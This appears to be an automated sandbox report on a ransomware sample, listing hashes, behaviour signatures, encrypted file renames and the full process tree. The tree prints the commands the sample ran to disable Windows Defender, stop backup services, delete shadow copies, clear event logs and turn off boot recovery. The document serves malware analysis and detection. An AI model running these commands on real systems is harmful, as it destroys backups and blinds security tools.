Analysis

  • max time kernel
    19s
  • max time network
    21s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-01-2025 20:57

General

  • Target

    211xahcou.exe

  • Size

    3.9MB

  • MD5

    0e4d44dde522c07d09d9e3086cfae803

  • SHA1

    d8dc26e2094869a0da78ecb47494c931419302dc

  • SHA256

    33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277

  • SHA512

    ac1f269b028217210a72fc5c2e0cb07461e2ff896f8b5ba65771787f99ec34b0f9951cf73d9d387086f79c348c343d147aebc2fd5b7e18da009bc2041e2eee06

  • SSDEEP

    49152:e2NiZPNNirb/T2vO90dL3BmAFd4A64nsfJk0NuXCdmTQb0/6VCrrPrsbg11VgWA2:e2ANB04yIa0hsirubO

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Renames multiple (313) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Renames multiple (51) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Renames multiple (56) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Renames multiple (62) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Renames multiple (70) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\211xahcou.exe
    "C:\Users\Admin\AppData\Local\Temp\211xahcou.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4272
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3568
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:1728
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4912
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:4764
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5108
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:2940
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4864
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:4372
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3868
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:3432
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3228
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:4416
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4304
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:2768
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_292d1" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4984
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_292d1" /y
                      3⤵
                        PID:1900
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:552
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4216
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3100
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4368
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3452
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3252
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2836
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "UnistoreSvc_292d1" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1296
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                      • Modifies Security services
                      PID:4592
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                      2⤵
                        PID:3048
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                        2⤵
                          PID:4140
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:3904
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                            2⤵
                              PID:4364
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:548
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:2372
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:2720
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:4692
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:3020
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                              2⤵
                                PID:5072
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:3504
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                  2⤵
                                    PID:4696
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:1848
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:812
                                      • C:\Windows\SYSTEM32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:2748
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                          2⤵
                                            PID:2824
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                            2⤵
                                              PID:4852
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                              2⤵
                                                PID:2092
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                2⤵
                                                  PID:3684
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                  2⤵
                                                    PID:624
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                    2⤵
                                                      PID:4688
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:3548
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                        2⤵
                                                          PID:4200
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                          2⤵
                                                            PID:4324
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:2368
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:4832
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:3400
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:4548
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:2892
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:5064
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies security service
                                                                PID:3944
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:3764
                                                              • C:\Windows\SYSTEM32\vssadmin.exe
                                                                vssadmin.exe delete shadows /all /quiet
                                                                2⤵
                                                                • Interacts with shadow copies
                                                                PID:1464
                                                              • C:\Windows\SYSTEM32\wevtutil.exe
                                                                wevtutil.exe cl system
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1572
                                                              • C:\Windows\SYSTEM32\wevtutil.exe
                                                                wevtutil.exe cl security
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4892
                                                              • C:\Windows\SYSTEM32\wevtutil.exe
                                                                wevtutil.exe cl application
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1132
                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                wmic.exe SHADOWCOPY /nointeractive
                                                                2⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4388
                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                wmic.exe shadowcopy delete
                                                                2⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:3620
                                                              • C:\Windows\SYSTEM32\bcdedit.exe
                                                                bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                2⤵
                                                                • Modifies boot configuration data using bcdedit
                                                                PID:968
                                                              • C:\Windows\SYSTEM32\bcdedit.exe
                                                                bcdedit.exe /set {default} recoveryenabled no
                                                                2⤵
                                                                • Modifies boot configuration data using bcdedit
                                                                PID:2620
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                2⤵
                                                                  PID:3160
                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                  2⤵
                                                                    PID:2912
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Set-MpPreference -DisableIOAVProtection $true
                                                                      3⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:4456
                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                    cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                    2⤵
                                                                      PID:2168
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                        3⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:4152

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • C:\Program Files\Java\jre-1.8\lib\images\cursors\invalid32x32.gif.uVG34-4qVR4vEkg8ZELntY55r38QMPHOCUL0skbkoIj_AAAAAAAAAAA0.cv2gj

                                                                    Filesize

                                                                    153B

                                                                    MD5

                                                                    1e9d8f133a442da6b0c74d49bc84a341

                                                                    SHA1

                                                                    259edc45b4569427e8319895a444f4295d54348f

                                                                    SHA256

                                                                    1a1d3079d49583837662b84e11d8c0870698511d9110e710eb8e7eb20df7ae3b

                                                                    SHA512

                                                                    63d6f70c8cab9735f0f857f5bf99e319f6ae98238dc7829dd706b7d6855c70be206e32e3e55df884402483cf8bebad00d139283af5c0b85dc1c5bf8f253acd37

                                                                  • C:\Program Files\Microsoft Office\root\Office16\1033\ONENOTE_F_COL.HXK.uVG34-4qVR4vEkg8ZELntY55r38QMPHOCUL0skbkoIj_GAAAABgAAAA0.cv2gj

                                                                    Filesize

                                                                    114B

                                                                    MD5

                                                                    b8fbbc73ddde31636552ab184b4e398f

                                                                    SHA1

                                                                    5cfbfaea56e979a07c083f2340b10a5894812d78

                                                                    SHA256

                                                                    3c3702253a4695b5bcb18a2565b1d49f9f32f5f9f2442fd1395197970fa34edb

                                                                    SHA512

                                                                    7f0f4b098e0d37ed403be8d54e2dcbc603791ddf00e3a21747c41ecfb829fdf664b6bddda8d51309e1229b197244a1d8ae23e1b3bf3348f99f84a7a8684db8d7

                                                                  • C:\Program Files\Microsoft Office\root\Office16\1033\POWERPNT_K_COL.HXK.uVG34-4qVR4vEkg8ZELntY55r38QMPHOCUL0skbkoIj_LAAAACwAAAA0.cv2gj

                                                                    Filesize

                                                                    113B

                                                                    MD5

                                                                    db9742e49c49c505b293a84518e95fa5

                                                                    SHA1

                                                                    406dae0b226900aad2ad2e10d8366651b848c053

                                                                    SHA256

                                                                    1c17b95e5098adb0c0e06aac8a8c7c50c6a5ef1b696465d548c8a922f1d3a653

                                                                    SHA512

                                                                    974917a72b2b3b783bb0ffcbfe0058489ae65ac0aa71ae86d77195780aeb7800848a3158fbe7ad8ddf9b30145d8a1a2c66f72484305ccf363b7981f105be295b

                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    d85ba6ff808d9e5444a4b369f5bc2730

                                                                    SHA1

                                                                    31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                    SHA256

                                                                    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                    SHA512

                                                                    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                    Filesize

                                                                    944B

                                                                    MD5

                                                                    6d42b6da621e8df5674e26b799c8e2aa

                                                                    SHA1

                                                                    ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

                                                                    SHA256

                                                                    5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

                                                                    SHA512

                                                                    53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3mmlqc2i.mgg.ps1

                                                                    Filesize

                                                                    60B

                                                                    MD5

                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                    SHA1

                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                    SHA256

                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                    SHA512

                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                  • memory/4456-2-0x0000028AF3840000-0x0000028AF3862000-memory.dmp

                                                                    Filesize

                                                                    136KB